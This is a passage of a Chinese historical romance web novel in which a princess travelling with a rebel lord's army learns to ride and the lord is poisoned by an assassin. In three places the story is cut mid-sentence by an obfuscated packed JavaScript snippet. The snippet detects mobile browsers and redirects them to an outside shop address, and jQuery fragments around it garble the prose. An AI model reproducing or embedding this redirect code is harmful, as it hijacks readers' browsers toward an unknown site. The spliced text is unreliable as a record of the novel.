昨天在沈雍那里还真就洗了一上午衣服,累得她吃了午饭后倒头就睡,直接睡到日头开始西斜才醒。 然而更可气的是,她刚醒就听到银画在门口与士兵交谈,说明日晨起后,将自己的行李收拾好即可,帐篷里的床褥、桌案等物件都不必管。 敢情沈雍那小子让她洗那么多床单被套是在玩她呢! 柳忆春一句话也不想和他说,一眼也不想看到他。 昨天弯久了的腰现在还痛着,她自顾自闭上眼睛毫无形象地在一旁倒下,惹得一旁的沈雍不悦地蹙眉。 这个公主,真是毫无礼节可言。 这么当着他的面侧躺着,身形曲线毕露,看来她还是将他的话当耳旁风。 沈雍收回目光,从袖口掏出一个小药瓶无意识在指尖把玩着。 要不要给她试试呢? 范卢风今晨才把这瓶能让人多梦的药给他,他原本毫不犹豫就要给她用,可又总是莫名回想起与她同眠的第一晚她哭着被困在梦魇中的样子。 做梦都不敢高声呼救,只溢出些细碎痛苦的闷哼,醒来后人也呆呆的。 真的要再给她喂药,助长梦魇吗? 这人嚣张跋扈,不知廉耻,还惯爱与他呛声,就该让她多受点教训才好。 可沈雍转念一想,这一路上有胡家人在,他们多与她讲讲胡贵嫔与她的往事,能刺激她想起一些事情来也未可知。 如今可能知晓当年内情的人,老皇帝与胡贵嫔已死,再除开逃走的楚珣与楚家人,就只剩眼前这个忘却前尘的当事人了。 要不......还是对她和缓些吧? 这么难得的一条线,可不能轻易断了。 念头落定,沈雍将药瓶收回了袖口,继续闭目养神。 马车一路向南,行到晌午时分才停下来休整。 沈雍去与他的一众部下商讨要事,柳忆春也终于可以暂时跳到地面上透口气。 “请柳夫人安,可曾用了午膳?”一道苍老的声音传来。 柳忆春猛地回头,只见竟是胡家那位老者,这具身体的外公。 秉持着最基本的礼貌,她也对他浅浅一笑,“还未,不若胡大人与我一道?” “多谢柳夫人。” 说话间,二人走到一旁的树荫下,银画为柳忆春取来餐食又铺上毯子后,二人席地而坐。 胡峯率先开启话头,“时光飞逝啊,当初兰娘也是差不多在你这个年纪入宫的,没想到,昭昭前半辈子享了公主的福,后半辈子还可以享新朝的福,你可比你母亲的命好啊。” 柳忆春喝着粥,分出一缕神去听他的话。 行军途中为了方便,伙食营好像只会提供这种热食,除此之外就是冷冰冰的干粮。 好在她很喜欢喝这个东西。 胡峯说完后,空气瞬间安静了下来。 柳忆春也察觉到了,可她方才没有从他的话里得到半点感兴趣的东西,一时间不知道该如何接话。 又往嘴里塞了一口粥,她直接问道:“胡贵嫔是个什么样的人?” 听见她的提问,胡峯被沉默弄得有些僵硬的表情终于和缓下来。 一上来就把天聊死了,他这老脸往哪放? “兰娘啊,是一个乖巧孝顺、有大局观的人,从小就严格要求自己,后来凭着一身本事入了宫,得了宠,胡家能有今天少不了她的助力。” 柳忆春蹙了蹙眉,“我是问,她本人是什么样子的?” “啊...?” 柳忆春见他不解的样子,眉头蹙得更深,“你们从前不是感情很好吗?” 胡峯直觉她的话语有些尖锐,可又下意识觉得一个简单的小姑娘不足为惧,于是又拿出惯有的一套说辞对她讲起来,神情也很是慈爱。 “那是自然,兰娘啊,有什么好东西好事情都想着家里......” “......” 柳忆春在心里悄悄打了个哈欠,她觉得这个老头听不懂人话,简直像个只会一套话术的传.销头目,说来说去都是什么“女子该为家族着想”“毫不出格的女子最是优秀”这种奇葩论调。 听烦了,烦到她自动屏蔽掉了他后面的话。 得亏是良好的素质,才能让她摆出一副乖巧的笑脸神游天外。 唉......这件事情怎么不如她想象中有趣啊? 还是沈雍好玩。 回到马车上,军队重新启程。 柳忆春破天荒地与沈雍搭话:“去洛都要走多久?” 沈雍颇有些意外地看她一眼,“最快要两个月。” “那这一路上还会打起来吗?” 沈雍意味不明地问:“你希望打起来吗?” 若是再生战事,必是有不服他这个叛臣的人前来挑事,而最可能做这种事情的人,便是旧朝余孽。 这位前朝公主,会盼着有人来救她吗? 但出乎意料的是,柳忆春听到这个问题之后像看傻子一样看向他。 “当然不希望打起来啊,打仗就要死人,死人可没什么好。” 虽然她总是陷入无聊,但她还没有恶劣到要用别人的命来消解无聊的地步。 沈雍被她的语气冲得一愣,随即嘲讽,“想不到懿春公主竟是个博爱之人。” 柳忆春听出了他的阴阳怪气,撇撇嘴不再说话。 晚间,运着物资的辎重车队已率先在落脚点扎好了营帐。 因着第二日还要赶路,一切从简,沈雍的帐篷规格比在京郊小了一些,但也算宽敞,不过柳忆春依然看他不顺眼,便和银画一起跑去挤卫大娘的帐篷。 沈雍对此倒是没说什么,自从宫宴那晚之后,他再也没有提出过要她一起同眠。 倒是“洗衣服”这个惩罚被他延续了下来。 晚间修整的时候,他便会拉着柳忆春去他的帐篷,亲眼看着她洗完之后,则毫不留情地把她赶走。 柳忆春每每气得对他的帐篷隔空拳打脚踢,可到后来她实在太无聊了,竟也从洗衣服这件事里找到了些乐趣。 轻易打不到沈雍本人,但他的衣服可以随便她打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644524|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、随便她踩,她还可以当着他的面对着衣服破口大骂,别提多解气! 而且,能在夏日里正大光明地玩会儿凉凉的水,实在算得上惬意。至于洗不洗得干净,就不在她的考虑范围之内了。 可不过过去三日,沈雍竟破天荒地结束了对她的“惩罚”,柳忆春每天唯一的“乐趣”于是也没有了。 “怎么?洗上瘾了?” 沈雍看向她开始变粗糙的双手,又将视线转移到她幽怨的脸上,温声对她解释: “近来需要加紧赶路,过段时日会到高阳王的地界,晚间好好待在帐篷里,不要乱走动。” 柳忆春嗅出了一丝不同寻常,“会有敌袭吗?” 沈雍偏头示意她跟上,“别担心,我派了人护你左右,就算你往敌军刀口上撞,他们也能把你拉回来。” 柳忆春与他并肩而行,知道他又在讽刺她,没忍住朝他翻了个白眼。 沈雍唇角微勾,早已对她这种程度的失礼见怪不怪。 又走了一会儿,夏夜的晚风如轻纱拂面,柳忆春觉得很是惬意,想起他方才的话,好奇地左右张望一下,问他: “怎么看不见他们?” 岂料今晚沈雍竟像是逗她上瘾了一般,“你要是能发现他们,也就不需要保护了。” 呵呵,不拐弯抹角嘲讽一下她弱不得劲是吧? 余下的路,柳忆春将嘴巴闭得牢牢的,再没和他说话。 “到了,快回去休息吧。” 说罢,沈雍不再管柳忆春,转头便快步离开。 得,原来是专门送她回来的啊。 - 第二日又是不停地赶路,柳忆春在午间修整的时候已肉眼可见地蔫儿了下来。 吃完饭后,她在毯子上百无聊赖地发呆,嫌腿坐麻了正想换个姿势,刚好与一旁整理行李的银画四目相对。 这个兔子一样胆小的宫女立马警惕了起来。 见状,柳忆春缓缓对她勾出了一个善意的笑,银画却变得更紧张了。 “银画,我以前每天都干些什么呀?” 闻言,银画肉眼可见地松了一口气。 “公主您自小便修习舞蹈,每日都得花不少时间练习。除此之外,彼时宫中经常举办宴会,先帝宠爱您,您也总是精心打扮、盛装出席。” 哦,所以每天都被困在那座宫殿里练习跳舞、打扮赴宴? 听起来很像一个供人赏玩的花瓶啊。 那也是够无聊的。 不过这具身子常年练习跳舞的话,那就说得通了。 若不是这样的身体素质,那晚在银杏树上往下跳时,恐怕绝无可能顺利攀上矮一级的树枝。 还得是经常锻炼的身体啊,肌肉又强劲又听话,想做什么就做成了,如果是她现代那具身体,恐怕脑子想明白了也只能眼睁睁看着自己掉到地上。 既然如此,那要不她来练练舞吧! “银画,我以前都是怎么练习的,你还记得吗?” 银画又开始苦恼了,那些动作她也做不了呀,只能随便比划比划。 倒是柳忆春被她可爱的模样逗笑了。 银画看着她灿若春华的脸,不禁有些痴了,待反应过来时,那张颠倒众生的脸已在她面前放大数倍,吓得她连连后退。 这个小宫女还蛮好玩的,难怪公主会留这么个胆小的人贴身伺候。 柳忆春猛地问她:“以前我是不是过得不开心?” 28. 骑马 这下银画真的卡壳了,她不好直说,愣了半晌才斟酌着开口: “嗯......” “如今的公主的确比以往活泼了不少。从前,公主几乎从来不主动去做任何事,像前几日那般去学做饭,更是闻所未闻。” 这么说,感觉这个公主和她以前很像啊。 是因为这份相似性,她才穿越到她身上的吗? 公主又是怎么养成的这副脾性呢? 也许是因为无聊,也许是因为同病相怜,柳忆春第一次对公主本人产生了好奇。 带着这份新鲜的好奇,她打算先去了解一下公主的身体。 “走,咱们往林子里走些去。” 银画本能地不想冒险,可还未来得及开口劝告便被柳忆春拉着往内跑去。 周遭有不少大臣与部将目睹这一幕,以为是柳夫人内急,都没有放在心上。 越来越安静,柳忆春仍拉着银画往林子内部去。她一边走还不忘一边留意,可耳边除了她们二人的脚步声,分明什么都没有,沈雍说的派来保护她的人呢? 终于到了一片平整的空地,柳忆春猛地停下脚步,侧头对银画比手势,“嘘。” 银画顾不得大口喘气,乖乖地没有说话,像只大气都不敢喘的兔子。 柳忆春仔细听着周遭动静,此刻无风,并无树叶窸窣声,耳畔除了远处的鸟叫,再无其他声响。 沈雍该不会给她吃了一口安慰剂吧? 算了,先不管这个。 此处无人,她正好试试懿春公主的舞蹈功底。芯子虽然换了,但是一些肌肉记忆应该和爬树一样都还在的吧? 可在她惊奇地发现自己能劈叉、下腰、翻跟头后,心里却莫名其妙升起了一股奇怪的感觉。 像一团沉滞的、没有形状的雾,无声无息地侵蚀着一切,在她察觉时,已将心里那一点新鲜感完全压制。 随意摆动肢体也将银画看呆的柳忆春忽地停下了动作,像播放到正精彩处的电视剧突然断网。 紧接着,在银画不解的目光中,柳忆春笃定地对她说道: “我讨厌跳舞。” 不待银画道出心中的疑惑,柳忆春已几个跃步爬上了最近的一棵树。 懒散地靠在树干上,柳忆春连续几个深呼吸,享受古代无污染深林中负氧离子的滋养。 银画还想劝她早些回去呢,没想到一个不小心又给她上树了。想起上次在昭月殿中被她吓得半死,银画圆乎乎的小脸顿时皱成了苦瓜。 “公主......您打算待多久呀?等会儿该启程啦,王上找不到您可怎么办?” 柳忆春慢悠悠的声音渐渐从头顶落下,“没事,我听见了他们说今天多休息一会儿。” 她就知道会这样,她根本劝不动公主。 可有什么办法呢?职责所在,该劝的话还是得对她说。 银画低头长叹了口气,复又抬头朝柳忆春望去,只见公主居然正笑着看她,“银画,你要上来吗?” “不不不......” 银画看着她这样的笑心里就发怵,“奴婢还是在这里守着您吧。” 柳忆春不再管她,沉入自己的世界,任由银画在一旁时不时看她一眼。 就在银画逐渐放松警惕之时,忽地一阵衣摆破空声将她惊得跳了起来。 “公主——” “当心——” 出乎意料地,除了她的高呼,居然有另一道陌生的男声与她重合。 待看清柳忆春只是如上次一般用手将自己吊在了树枝上,银画长舒一口气,看向身侧的不速之客。 是军中之人,器宇轩昂,装束不凡,看起来地位不低。 银画很有眼色地对他行一礼。 柳忆春双手紧抱住树枝,用力摆动双腿,就这么前后荡着玩,似乎打算将上次没有尽兴的事情做个够。 一边荡着,一边看着地上那个男人,柳忆春忽然觉得他有些眼熟。 尉迟丰看清她眼底的疑惑,又不小心瞥见她脸颊旁袖口滑落露出的一截雪臂,下意识撇开了眼。 她果然不记得他...... 他站得笔直,视线落到她一晃一晃的绣鞋之上,恭声道:“在下尉迟丰,乃军中主将,方才失礼了。” 这么有礼貌,柳忆春忽然有些不好意思,停止摆动后连忙从树上跳了下来。 银画和尉迟丰都没想到她这么生猛,一个立马上去扶,一个脚步欲迈又止,倒是柳忆春很快就稳住了身形,根本不需要旁人辅助。 她不知道在这里应该如何行礼,便微微颔首对他示意,“原来是尉迟将军。” 尉迟丰身材魁梧,看起来很年轻,比沈雍身量矮一些,身板却更厚实,五官端正,较之沈雍少了几分俊美,多了几分硬朗。 令卫大娘骄傲不已的儿子,原来长这样。 柳忆春终于将他的名字和样子对应起来了。 见他愣愣的,没有要走的意思,柳忆春随口与他搭话。 “尉迟将军怎么在这里?” 似是没料到她会与他闲聊,尉迟丰忽然变得有些腼腆,浅笑着偏头,示意她往前看。 “末将不过是恰巧牵着马在此处休息罢了。” 柳忆春顺着视线望去,只见绿草茵茵,浅溪潺潺,有一匹马正在溪边喝水。 没想到,不过几丈的距离,这林子里又另有一番天地,她方才竟没有注意到。 那马儿长得很好看,柳忆春不自觉被它吸引,缓缓朝它走近。 话说,南下路途遥远,还不知道会发生什么,她要是学会了骑马,岂不是能备不时之需? 她突然有些跃跃欲试。 可待她走近,仔细观察一下才发现,这匹马虽然有马鞍,却没有马镫,马背很高,她这个身高根本上不去。 正苦恼着,银画发现了她的意图,悄悄凑到她身边,“公主,您不会骑马呀。” 柳忆春没有理会银画的提醒,直截了当问尉迟丰:“我可以试试这匹马吗?” 尉迟丰听见了银画的话,温声对柳忆春劝道:“骑马对身量有要求,若是不够,恐怕连马都上不去,更别谈骑马了。” 柳忆春闻言有些讶然,敢情他不是故意不装马镫,而是这里可能根本还没有马镫这个东西。 “那你们怎么上马?直接跳上去的?” 她的神情太过认真,以至于尉迟丰有一瞬间的迟疑,“不然,呢?” 柳忆春没有“给古人一点震撼”那种癖好,并未给他们科普马镫这个东西,反而美目中带上了一些狡黠。 “那么,只要我能上去,这匹马就能借我一用?” 尉迟丰被她突如其来的笑眼看得一愣。 不等他回答,柳忆春立即转头吩咐银画:“去帮我拿两条绳子来,实在不行,腰带也可以。” 银画的目光犹豫地在她与尉迟丰之间来回转动。 柳忆春又说:“有尉迟将军护着,你还怕我出什么意外不成?” 虽是从她的话里得到了某种隐秘的保证,但银画始终有些不安。这,这,孤男寡女的,不太好吧? 见她仍是迟疑,柳忆春干脆作势要自己回去。 银画立马拉住了她的胳膊。 她再怎么说也是公主的下人,这样忤逆公主,好像还是第一次。 银画咬咬牙,下定决心般,“奴婢很快就来,您可要好好的。” 说罢,她飞也似地跑开了。 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657950|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆春在后面看着,不禁失笑。这速度,在大学里体测跑800米,妥妥的满分。 舟车劳顿,许多杂物都被收了起来,更何况柳忆春的行礼中并无麻绳这一项。 银画犹豫了一会儿,若是四处讨要麻绳,免不得又要浪费更多时间,不愿让他们独处久了,又想起公主说腰带也行,于是她急匆匆地从公主的行李中翻出了两条腰带。 走出马车,她正准备全力冲刺回柳忆春身边,却还未起步就先来了个急刹车—— 差些撞到沈雍。 他也是一副步履匆匆的样子,睨了一眼她手中的腰带,声音有些沉。 “急什么?” 银画哆哆嗦嗦跪到地上,慌乱中嘴巴比脑子转得更快,“公主遣我来那些东西,奴婢不敢让公主等太久,还望王上恕罪!” 听到这,沈雍自是明白个中原因,语气也急了些,“还不快去。” 银画暗暗松一口气,立马爬了起来,“是!” 待见到柳忆春与尉迟丰说说笑笑的身影,银画心里才升起一阵后怕。 她刚才居然把王上给糊弄过去了?要知道,她最不会撒谎骗人了,要是王上问她公主在干什么,她肯定编不出像样的理由来。 还好还好......他没问。 柳忆春看向风风火火跑回来的银画,不由感叹,她没看走眼,的确是个跑800米的好苗子。 见她满头大汗气喘吁吁,柳忆春没忍住掏出帕子帮她擦汗。 银画本就上气不接下气,被她这个动作一惊,说话都变结巴了。 “使,使,使不得,公主......” 真是可爱,柳忆春干脆把帕子丢给她,“去旁边歇着吧。” 她取过银画带来的腰带,在马鞍两侧各固定一条,随即打了个死结。 如此,便有了两个能放进脚掌的圈。 紧接着,她抬腿试了试,见是稳的,便抓住马鞍一个施力就跨坐到了马背上。 衣角翻飞,像一只骤然振翅的鹏鸟。 尉迟丰在一旁看得有些呆了,“柳夫人当真聪慧。” 柳忆春没有理会他的恭维,直奔主题道:“如何纵马,还请尉迟将军接着教我。” 尉迟丰收起惊讶的目光,上前拢了拢缰绳,为她牵马。 以后恐怕再也不会有这样天时地利人和的机会能与她单独相处,尉迟丰放任自己贪心一点,再贪心一点,使出浑身解数来教这位大胆的柳夫人骑马。 “柳夫人不若先熟悉熟悉马背上的感觉。” ...... 银画歇在一旁树下,刚缓过气来就看见这幅年轻将军全神贯注地为公主牵马的画面—— 将军魁梧,骏马高昂,马背上的公主身姿挺拔,头顶是疏阔云天,脚下是丰茂水草。 这合该是一个极其赏心悦目的场景,但是吧,银画越看越觉得有些慌。 她的公主,怎么就这么容易吸引年轻郎君。 要是王上看到这一幕,又该如何作想? 前几日王上发现她在角落里摆弄炊具生气成那样,依她猜测,除了害怕公主又去寻死之外,恐怕还有她与军中小兵单独相处的原因。 王上金尊玉贵、丰神俊朗,如今又可以说是这天下最尊贵的人,如何受得了自己的女人四处吸引别人的目光? 唉...... 她胆子小,如今的日子本就仰人鼻息,自是不敢再为所欲为。可是公主从前也是个极守规矩的闷葫芦,何时变得如此胆大了? 银画在心里打定主意,得找个机会劝劝公主。 此刻无风,林中的几棵大树传来了细微晃动,很快又归于宁静。若是有人注意到了这动静,恐怕也只道是飞鸟振翅罢了。 29. 中毒 天气愈发地热起来,大军行进的时间集中在了清晨与傍晚,午间休息的时间一点点被拉长。 柳忆春的日子依旧懒散地过着,但胡家老头来找她“聊天”都被她用各种借口婉拒了,反而找着机会就去骑尉迟丰的马。 为了方便,那两条腰带也就一直留在了他的马鞍上。 自小练舞的身体素质果然很不一样,她现在已经能够熟练地控马了,柳忆春许久没有过这种强烈的成就感,整个人都神采奕奕的。 银画终究希望她的公主能快乐一些。想要开口劝告的心,在好几次被柳忆春愈发明艳的笑脸动摇后,渐渐地被消磨了下去。 又行了一段时日的路,柳忆春能察觉到军中的氛围越来越紧张。众人严阵以待,沈雍也总是不见踪影。 柳忆春怀疑,他们也许已进入高阳王地界。 总是不见的沈雍,应当大部分时候都和部下待在一起,少数与她在马车里同处的时候,也都在闭目养神。 她本以为不多时便会出现变故,然而大军一日日行进着,一切都顺利得有些不可思议,大家严肃的架势倒显得有些多余。 不料,就在柳忆春察觉到紧绷的气氛开始疲软的时候,敌袭来了。 游骑营的人先发现的不对劲,随后尉迟丰不由分率兵迎战。 兵戈相向的声音很大,柳忆春被层层围护在中间,前线激战的动静便显得模糊起来。 她的心跳忽然变得很快。 离她不远处的地方,有人正在死。 作为一个生长在现代文明社会的人,战争与非正常死亡对她来说都过于遥远。 然而这场战斗结束得很快,不等柳忆春继续发散思维,尉迟丰便提着兵器纵马驶向她所在的马车处。 柳忆春以为他是找她有什么事情,不料他在离马车一丈远时便停了下来,向一个与众人穿着同样甲胄的男子拱手汇报。 仔细一看那马上的身形,柳忆春恍然大悟,原来沈雍竟混入了随行骑兵里面。 “启禀王上,来人约莫数千,俱是军中之人,算得上一支精锐部队,逃得很快,只斩杀了一小部分。” 沈雍颔首,“谁的人?” 尉迟丰有些迟疑:“看起来竟像是当地司马的兵。” 沈雍有些意外,转念一想又很合理,高阳王在封地与当地司马勾结,也不算稀罕事。 随即他沉声开口:“此次敌袭直奔骑兵阵营而来,有些反常,暂时不要放松警惕。”但很快他又摇头。 “不。” “今晚我们需要‘放松警惕’。” 沈雍的语气颇含深意,尉迟丰抬眼与他对视,很快明白了他的意思。 “属下明白。” 因甲胄重量不小,穿在身上行军将大大影响速度,所以步兵在行军时皆未着甲胄,向来是敌人偷袭时的首选。 这次高阳王的人直奔骑兵营,恐怕偷袭为假,试探为多。 此番踏入高阳王地界,也不知他们还准备了多少“惊喜”。正好,今晚继续看看他们还有什么花招。 沈雍又道:“如此主动挑衅,恐怕攻克此地不易,尉迟丰,随时做好迎战准备。” 尉迟丰的表情也前所未有的严肃,拱手行礼的动作十分有力。 “属下与众将士必将严阵以待!” 他的动作不小,胯.下战马踱了几步,马鞍之下的柔软布料忽地被抖落。 是独属于女人家的色彩与花纹。 沈雍的目光被吸引过去,觉得那两截细长的布料有些眼熟,但又想不起来在哪见过,不由得盯着它们打量许久。 尉迟丰也注意到了沈雍的目光,一时心下惴惴。 那是柳夫人学骑马时留在他这儿的,因每次解开系上太麻烦,他便将那两条腰带随意团了团收到了马鞍前侧的空隙里。 没想到,竟是在此时于王上面前露了出来...... 他紧张地咽了咽,心跳得很快,快速地看一眼沈雍的神色,又慌张地将目光移开,正准备豁出去解释的时候,沈雍却先开口了。 “下去吧,顺便让游骑营的人尽快选定今夜的落脚点,早些扎营。” 尉迟丰不动声色地松了口气,“属下遵命!” 策马远离的背影格外迅速。 沈雍则很快就收回了落在他背影上的目光。 尉迟丰是个什么性子的人,他清楚,绝不会在他眼皮子底下公然违抗军律。 至于他心里是不是有了女人,他对属下的私事并没有那么感兴趣,只要不妨碍公务,什么都好说。 - 一连几日精神紧绷,士兵们都有些疲了。 今日成功击退敌袭,喜气洋洋的氛围自上而下传递,大家难免为这小小的胜利欢欣鼓舞。 除了少数几批精锐以及各伍首领,绝大多数的士兵紧绷了数日的神经都放松了下来。 夜间,天色已几乎透黑,除了尚在巡逻的士兵,军营中已没有其他声响。 沈雍白日里听了木三的禀告,知道还有另一队人在暗中窥探他们多时。 那队人来去无踪,身法极好,显然不是正统军队出生的人,反而极大可能与木三他们一样,是暗卫杀手之流。 沈雍拿不准那队人究竟只是为白日里袭击的部队探消息,还是自成一派也在等着适时袭击。 但,今晚便是见分晓的时候。 他独坐主帐之中,烛火将他的身影明显地映照到帐篷侧壁。想起等会儿可能会有的一场战斗,他卸下金属护腕,打算换另一对更加轻便的。 不料,竟在它一贯被保存的位置上摸了个空。 他正待仔细翻找,帐外突然传来急切的哨音,“有刺客——” 簌簌—— 动静离他很近,眼看着箭矢就开始往他帐子里射,沈雍顾不得别的,顺手抄起手边的长剑便从主帐后侧的门帘闪身而出。 那队暗处观察他们的人功夫不低,沈雍早早派了人埋伏在主帐附近,并为他们准备好了一条绝佳的“刺杀路线”。 眼下,他闪身从主帐隐秘的后侧门帘离开,也是计划的一环。 不多时,他便隐在暗处被一众亲兵簇拥着护在中间,静静观察着战斗情况。 来人不多,但各个武力高强,招式阴狠,明显是不要命的打法。 死士。 一旦暴露在众人眼前,他们最大的优势便已丧失,打斗的动静惊醒了不少附近营帐的士兵,在绝对的数量优势之下,这帮死士很快便被制服。 不出意料地,一被制服,他们紧接着便口吐白沫抽搐倒地—— 这是咬破了嘴里的毒。 一场生死对战结束得悄无声息。 沈雍缓步从护卫中走出,停在这群横七倒八的尸体前。 “可有什么信息?” 尉迟丰方才也埋伏在主帐附近,早已站出来主持大局,听着沈雍的问话,朝他拱手回道: “这帮人身上干干净净,没有携带任何信物,只有手腕上有着深浅不一的纹饰,想来是代表着听命于同一个人。” “继续查。” “是!” 这个高阳王手段还真不少,他究竟还有多少底牌,敢与他攻破过皇城的大军公然叫嚣? 此间事毕,尉迟丰正带着人撤退,沈雍仍立在远处沉思着,一时没有动作。 忽地,一道破空声袭来—— “小心!” 沈雍猛地回神,只见是一支从暗处射向自己心口的利剑。 尉迟丰目眦欲裂,再要上前护住沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676691|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雍已是来不及,电光火石之间,沈雍一边侧身,一边抽剑隔挡。 可这一箭实在是出乎众人意料,留给他的反应时间极少,沈雍还未来得及将剑挥至胸前,飞箭已至眼前。 凭着多年战斗的本能,他转动手腕,试图用护腕擦过箭尖,使其偏离轨道。 但不巧的是,如今他的手腕处空荡荡,根本没有佩戴护腕,于是只能硬生生用骨肉隔挡,受了浅浅一箭。 周遭复又一阵喧闹,正要撤退的众人齐齐上前将暗算沈雍之人制住。 尉迟丰也连忙上前查看沈雍的伤势。 “王上!可有大碍?” 沈雍随意地转转手腕,那里只不过被擦出了浅浅一道伤痕,“无事,小伤。” 但事到如今,来人的手段已颇有些出乎他的意料。 这人眼看着同伴一一死在面前,仍能沉住气静待机会给他致命一击,不可谓不是个能人。 很快,行刺之人便被押到了沈雍面前,竟是穿着一身军中士兵的制服。 头盔被取下甩开,一头青丝散落,士兵强迫郁冬抬头,露出清冷英气的眉眼,以及被布条堵得严严实实的嘴。 竟是个女子! 气氛忽地一变,众人皆有些惊讶。沈雍眼眸微眯,也有些意外。 倒是个聪明的,趁乱伪装成他的兵,混在众人之中。知道他身边守卫的人众多,便挑在这个散场的时候,以暴露自身为代价给他致命一击。 可惜,他的反应够快,倒是让她失望了。 “取出她嘴里的毒药。” “是!” 今夜埋伏在周围的精锐都是有经验的人,知道这种死士一言不合便会咬毒自尽,因此在制住她的那一刻立马便将她的嘴堵了起来。 此刻听见沈雍的吩咐,他们依着方才那群死士口中的位置,很快便将她口中的毒药取了出来。 女刺客郁冬依旧面无表情,眼里却闪烁着奇异的光。 沈雍饶有兴致地与她对视,这人有些妙,事到如今一点不担心自己的处境不说,反而志在必得地看向他,明明她才是穷途末路的那一个。 正待上前亲自审问,他的身体却忽地涌上一阵恶寒,竟叫他在夏夜里浑身发颤。 猛地反应过来,沈雍再看向郁冬,果然见她眼里的笑意扩大。 “你......” 沈雍强忍着异样,稳住声线吩咐,“把她给我关起来,不准死了。” 而后,他不着痕迹地朝身旁的尉迟丰挪过一小步,以只有他们二人听听见的声音悄声说: “扶我回营,把范卢风叫来......” 察觉出他的不对劲,尉迟丰精神一凛,神色自然地接手善后工作。 “都退下吧,今夜再加一队人巡视,绝不能再让不清不楚的人闯进来,擅离职守者,军法处置!” - 柳忆春被领到沈雍所在的主帐时,已是第二日傍晚。 白日里远处闹哄哄的,又进行了一场激战,是尉迟丰率军与高阳王的人大打了一仗。 仗虽然打赢了,军中却依旧人心惶惶。 只因不知从何而起的谣言,说沈雍死了,沈军群龙无首,迟早要败。 而沈雍一整天都没有露面,则无疑强化了这个谣言。 柳忆春不信他这么容易就会死,但眼前范卢风的神情却告诉她,显然他没死掉却也不太好过。 “柳夫人请进去吧......王上的命等着您救呢。” 她有些怀疑,“我?救命的事不是您最擅长吗?” 范卢风却没再解释,神色古怪地丢下一句“您进去看看就知道了”,紧接着便望天快步溜走。 柳忆春:“......” 行吧,那就进去看看吧。 30. 放纵 沈雍先是感觉到极致的冷,后是感觉到极致的热。 重新睁眼时,身体的异样十分明显,床畔则立着明显松一口气却神色古怪的范卢风。 夜间遇刺的所有记忆涌入脑海,沈雍粗着嗓子问:“毒已经解了?” “这个嘛,还差最后一点点,马上就能解了。” 范卢风说着,不动声色地慢慢挪步远离他的床榻。 沈雍蹙了蹙眉,“那还不快给我解?” 下腹灼热,他本以为是每日晨起的惯常反应,不理会的话一会儿就消停了,可今日却显然不对劲,难言的冲动越来越强烈。 看着范卢风明显有些畏缩的模样,沈雍霎时明白了过来。 “范卢风,你对我做了什么!” 趁着他反应过来的这段时间,范卢风已经退到了帐门口,仿佛帐外有磁铁吸着他走一般,一副费了好大劲才仍留在帐内和他说话的样子。 “别急别急,昨晚那毒实在凶猛,没有解药我只好循着药理给你试了试,你现在的反应正常的,不用药到这个地步不足以将那寒毒压下去。” 沈雍听着,却仍是目光沉沉地盯着讪笑的他。 范卢风继续赔笑,“嘿嘿,知道你不喜那事,但那不都是从前了吗?你现在已经有柳夫人了,这点小症状实在不算什么事。” 眼见着沈雍就要发作,范卢风一掀帘帐立马溜了出去,闷闷的声音隔着帐子传进沈雍耳内—— “别急,她马上就来......” - 柳忆春步入主帐时,见到的便是面色潮红、怒气正盛的沈雍。 看她进来,他像要吃人一样瞪她一眼,又很快移开视线,似是颇为嫌弃。 “他们都说你死了,没想到还挺生龙活虎的嘛。” 她早已习惯他易怒的性子,眼下对他的怒目而视适应得很好。 但她环视一周后,不免有些疑惑,“药呢?范医师莫名其妙让我来,什么都没交代,我是要给你上药还是喂药啊?” 说着,柳忆春朝他床榻走近了些,本是想继续找药,没想到他突然撑坐起来,弓起身子,语气激烈,“出去!” 动静之大,吓得她当即愣在原地。 但只是愣了一瞬,柳忆春便继续向他走近,她这次没惹他啊,怎么莫名其妙对她这么横。 “怎么了?” 沈雍变得更僵硬,像庙里矗立着的雕塑。 果然,她最会做的事情就是忤逆他! 独属于她的馨香越来越近,沈雍感觉自己的自控力岌岌可危,不由得压抑着加重了语气。 “滚出去,把范卢风给我绑来!” 可身体的异样仍在一点点加重,不过吼出这么一句话就让他控制不住地喘息。 虽极力控制,却还是被停在他床榻不远的柳忆春察觉到了。 她说呢,范卢风方才那副语焉不详的样子,原来真的有鬼。 这么热的夏天,沈雍一个本就火气旺的大男人都热得满头大汗面色发红了,怎么还宝贝似的拿着被子不放。 原来是不想让她看见身上的状况啊。 柳忆春不禁在心里翻了个大白眼,忍不住吐槽,“你这是正经军医吗?” 